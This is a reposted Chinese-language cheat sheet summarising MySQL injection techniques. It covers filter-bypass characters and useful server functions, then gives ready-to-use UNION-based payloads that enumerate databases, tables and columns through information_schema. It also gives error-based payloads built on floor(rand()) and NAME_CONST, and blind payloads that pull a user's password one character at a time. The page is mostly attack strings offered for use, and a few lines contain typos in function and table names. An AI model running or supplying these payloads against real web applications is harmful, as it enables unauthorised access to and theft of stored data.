MYSQL注入总结

来源:互联网 发布:淘宝平台权益红包营销 编辑:程序博客网 时间:2024/05/24 06:31

MYSQL注入总结

1.注释符
# /* –
2.过滤空格注入
/**/ () +
%0c = form feed, new page (换页符)
%09 = horizontal tab (水平制表)
%0d = carriage return (回车)
%0a = line feed, new line (换行)
3.多条数据显示
concat (列名,0x3a,列名)、如果有任何参数为NULL则返回为NULL
concat_ws(‘字符串’,列名,列名) 不会忽略任何空字符串但会忽略所有的NULL
group_concat返回一个字符串结果,该结果由分组中的值连接组合而成
例 SELECT locus,id,journal FROM info WHERE locus IN(‘AB086827’,’AF040764’)
+———-+—-+————————–+
| locus | id | journal |
+———-+—-+————————–+
| AB086827 | 1 | Unpublished |
| AB086827 | 2 | Submitted (20-JUN-2002) |
| AF040764 | 23 | Unpublished |
| AF040764 | 24 | Submitted (31-DEC-1997) |
+———-+—-+————————–+
4.相关函数
system_user() 系统用户名
user() 用户名
current_user 当前用户名
session_user()连接数据库的用户名
database() 数据库名
version() MYSQL数据库版本
load_file() MYSQL读取本地文件的函数
@@datadir 读取数据库路径
@@basedir MYSQL 安装路径
@@version_compile_os 操作系统 Windows Server 2003
5.mysql一般注入语句
猜字段数
order by n/*
查看mysql基本信息
union select 1,2,3,concat_ws(char(32,58,32),0x7c,user(),database(),version ()),5,6,7/*
查看数据库
union select 1,schema_name,3,4 from information_schema.schemata/*
union select 1,group_concat(schema_name),3,4 from information_schema.schemata/*
查询表名
union select 1,2,3,4,table_name,5 from information_schema.tables where table_schema=(数据库16进制编码)/*
union select 1,2,3,4,group_concat(table_name),5 from information_schema.table where table_schema=(数据库16进制编码)/*
查询字段
union select 1,2,3,4,column_name,5 from information_schema.columns where table_name=(表名的十六进制编码) and table_schema=(数据库的十六进制编码)/*
union select 1,2,3,4,group_name(column_name),5 from information_schema.columns where table_name=(表名的十六进制编码) and table_schema=(数据库的十六进制编码)/*
查询数据
union select 1,2,字段,4,字段,6 from 数据库.表/*
MYSQL报错注入
1.and(select 1 from(select count(*),concat((select (select (语句)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1
语句处填入一般一句,如:SELECT distinct concat(0x7e,0x27,schema_name,0x27,0x7e) FROM information_schema.schemata LIMIT 0,1
2.and+1=(select+*+from+(select+NAME_CONST((语句),1),NAME_CONST((语句),1))+as+x)–
3.update web_ids set host=’www.0x50sec.org’ where id =1 aNd (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((Select (语句)),1,62)))a from information_schema.tables group by a)b);
4.insert into web_ids(host) values((select (1) from mysql.user where 1=1 aNd (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((Select (语句)),1,62)))a from information_schema.tables group by a)b)));
MYSQL一般盲注
1.使用ascii
AND ascii(substring((SELECT password FROM users where id=1),1,1))=49
2.使用正则表达式
and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA=”blind_sqli” AND table_name REGEXP ‘^[a-n]’ LIMIT 0,1)

原贴地址:https://www.waitalone.cn/mysql-injection-summary.html